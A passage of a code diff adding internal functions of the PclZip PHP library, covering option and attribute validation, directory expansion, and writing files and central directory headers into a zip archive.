+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Unknown parameter '"
+							   .$p_options_list[$i]."'");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+      }
+
+      // ----- Next options
+      $i++;
+    }
+
+    // ----- Look for mandatory options
+    if ($v_requested_options !== false) {
+      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+        // ----- Look for mandatory option
+        if ($v_requested_options[$key] == 'mandatory') {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Detect a mandatory option : ".PclZipUtilOptionText($key)."(".$key.")");
+          // ----- Look if present
+          if (!isset($v_result_list[$key])) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+        }
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrParseAtt()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privFileDescrParseAtt", "");
+    $v_result=1;
+    
+    // ----- For each file in the list check the attributes
+    foreach ($p_file_list as $v_key => $v_value) {
+    
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$v_key])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for attribute
+      switch ($v_key) {
+        case PCLZIP_ATT_FILE_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+          
+          if ($p_filedescr['filename'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+
+          if ($p_filedescr['new_short_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_FULL_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+
+          if ($p_filedescr['new_full_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                           "Unknown parameter '".$v_key."'");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+      }
+
+      // ----- Look for mandatory options
+      if ($v_requested_options !== false) {
+        for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+          // ----- Look for mandatory option
+          if ($v_requested_options[$key] == 'mandatory') {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Detect a mandatory option : ".PclZipUtilOptionText($key)."(".$key.")");
+            // ----- Look if present
+            if (!isset($p_file_list[$key])) {
+              PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+              return PclZip::errorCode();
+            }
+          }
+        }
+      }
+    
+    // end foreach
+    }
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrExpand()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrExpand(&$p_filedescr_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privFileDescrExpand", "");
+    $v_result=1;
+    
+    // ----- Create a result list
+    $v_result_list = array();
+    
+    // ----- Look each entry
+    for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
+      // ----- Get filedescr
+      $v_descr = $p_filedescr_list[$i];
+      
+      // ----- Reduce the filename
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filedescr before reduction :'".$v_descr['filename']."'");
+      $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename']);
+      $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filedescr after reduction :'".$v_descr['filename']."'");
+      
+      // ----- Get type of descr
+      if (!file_exists($v_descr['filename'])) {
+        // ----- Error log
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$v_descr['filename']."' does not exists");
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exists");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+      if (@is_file($v_descr['filename'])) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "This is a file");
+        $v_descr['type'] = 'file';
+      }
+      else if (@is_dir($v_descr['filename'])) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "This is a folder");
+        $v_descr['type'] = 'folder';
+      }
+      else if (@is_link($v_descr['filename'])) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Unsupported file type : link");
+        // skip
+        continue;
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Unsupported file type : unknown type");
+        // skip
+        continue;
+      }
+      
+      // ----- Calculate the stored filename
+      $this->privCalculateStoredFilename($v_descr, $p_options);
+      
+      // ----- Add the descriptor in result list
+      $v_result_list[sizeof($v_result_list)] = $v_descr;
+      
+      // ----- Look for folder
+      if ($v_descr['type'] == 'folder') {
+        // ----- List of items in folder
+        $v_dirlist_descr = array();
+        $v_dirlist_nb = 0;
+        if ($v_folder_handler = @opendir($v_descr['filename'])) {
+          while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Looking for '".$v_item_handler."' in the directory");
+
+            // ----- Skip '.' and '..'
+            if (($v_item_handler == '.') || ($v_item_handler == '..')) {
+                continue;
+            }
+            
+            // ----- Compose the full filename
+            $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
+            
+            // ----- Look for different stored filename
+            // Because the name of the folder was changed, the name of the
+            // files/sub-folders also change
+            if ($v_descr['stored_filename'] != $v_descr['filename']) {
+              $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
+            }
+      
+            $v_dirlist_nb++;
+          }
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to open dir '".$v_descr['filename']."' in read mode. Skipped.");
+          // TBC : unable to open folder in read mode
+        }
+        
+        // ----- Expand each element of the list
+        if ($v_dirlist_nb != 0) {
+          // ----- Expand
+          if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+          }
+          
+          // ----- Concat the resulting list
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Merging result list (size '".sizeof($v_result_list)."') with dirlist (size '".sizeof($v_dirlist_descr)."')");
+          $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "merged result list is size '".sizeof($v_result_list)."'");
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Nothing in this folder to expand.");
+        }
+          
+        // ----- Free local array
+        unset($v_dirlist_descr);
+      }
+    }
+    
+    // ----- Get the result list
+    $p_filedescr_list = $v_result_list;
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCreate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCreate", "list");
+    $v_result=1;
+    $v_list_detail = array();
+    
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the file in write mode
+    if (($v_result = $this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Add the list of files
+    $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAdd()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAdd", "list");
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Look if the archive exists or is empty
+    if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive does not exist, or is empty, create it.");
+
+      // ----- Do a create
+      $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      fclose($v_zip_temp_fd);
+      $this->privCloseFd();
+      @unlink($v_zip_temp_name);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "New offset of central dir : $v_offset");
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Create the Central Dir files header
+    for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          fclose($v_zip_temp_fd);
+          $this->privCloseFd();
+          @unlink($v_zip_temp_name);
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = $v_central_dir['comment'];
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
+      $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
+    }
+    if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOpenFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privOpenFd($p_mode)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privOpenFd", 'mode='.$p_mode);
+    $v_result=1;
+
+    // ----- Look if already open
+    if ($this->zip_fd != 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Open file in '.$p_mode.' mode');
+    if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCloseFd()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privCloseFd()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCloseFd", "");
+    $v_result=1;
+
+    if ($this->zip_fd != 0)
+      @fclose($this->zip_fd);
+    $this->zip_fd = 0;
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddList()
+  // Description :
+  //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
+  //   different from the real path of the file. This is usefull if you want to have PclTar
+  //   running in any directory, and memorize relative path from an other directory.
+  // Parameters :
+  //   $p_list : An array containing the file or directory names to add in the tar
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  //   $p_add_dir : Path to add in the filename path archived
+  //   $p_remove_dir : Path to remove in the filename path archived
+  // Return Values :
+  // --------------------------------------------------------------------------------
+//  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
+  function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddList", "list");
+    $v_result=1;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+
+    // ----- Create the Central Dir files header
+    for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = '';
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileList()
+  // Description :
+  // Parameters :
+  //   $p_filedescr_list : An array containing the file description 
+  //                      or directory names to add in the zip
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddFileList", "filedescr_list");
+    $v_result=1;
+    $v_header = array();
+
+    // ----- Recuperate the current number of elt in list
+    $v_nb = sizeof($p_result_list);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Before add, list have ".$v_nb." elements");
+
+    // ----- Loop on the files
+    for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
+      // ----- Format the filename
+      $p_filedescr_list[$j]['filename']
+      = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
+      
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Looking for file '".$p_filedescr_list[$j]['filename']."'");
+
+      // ----- Skip empty file names
+      // TBC : Can this be possible ? not checked in DescrParseAtt ?
+      if ($p_filedescr_list[$j]['filename'] == "") {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Skip empty filename");
+        continue;
+      }
+
+      // ----- Check the filename
+      if (!file_exists($p_filedescr_list[$j]['filename'])) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$p_filedescr_list[$j]['filename']."' does not exists");
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exists");
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Look if it is a file or a dir with no all path remove option
+      if (   (is_file($p_filedescr_list[$j]['filename']))
+          || (   is_dir($p_filedescr_list[$j]['filename'])
+              && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
+                  || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
+
+        // ----- Add the file
+        $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
+                                       $p_options);
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        // ----- Store the file infos
+        $p_result_list[$v_nb++] = $v_header;
+      }
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "After add, list have ".$v_nb." elements");
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFile($p_filedescr, &$p_header, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddFile", "filename='".$p_filedescr['filename']."'");
+    $v_result=1;
+    
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+    // TBC : Already done in the fileAtt check ... ?
+    if ($p_filename == "") {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+  
+    // ----- Look for a stored different filename 
+    if (isset($p_filedescr['stored_filename'])) {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'Stored filename is NOT the same "'.$v_stored_filename.'"');
+    }
+    else {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'Stored filename is the same');
+    }
+
+    // ----- Set the file properties
+    clearstatcache();
+    $p_header['version'] = 20;
+    $p_header['version_extracted'] = 10;
+    $p_header['flag'] = 0;
+    $p_header['compression'] = 0;
+    $p_header['mtime'] = filemtime($p_filename);
+    $p_header['crc'] = 0;
+    $p_header['compressed_size'] = 0;
+    $p_header['size'] = filesize($p_filename);
+    $p_header['filename_len'] = strlen($p_filename);
+    $p_header['extra_len'] = 0;
+    $p_header['comment_len'] = 0;
+    $p_header['disk'] = 0;
+    $p_header['internal'] = 0;
+//    $p_header['external'] = (is_file($p_filename)?0xFE49FFE0:0x41FF0010);
+    $p_header['external'] = (is_file($p_filename)?0x00000000:0x00000010);
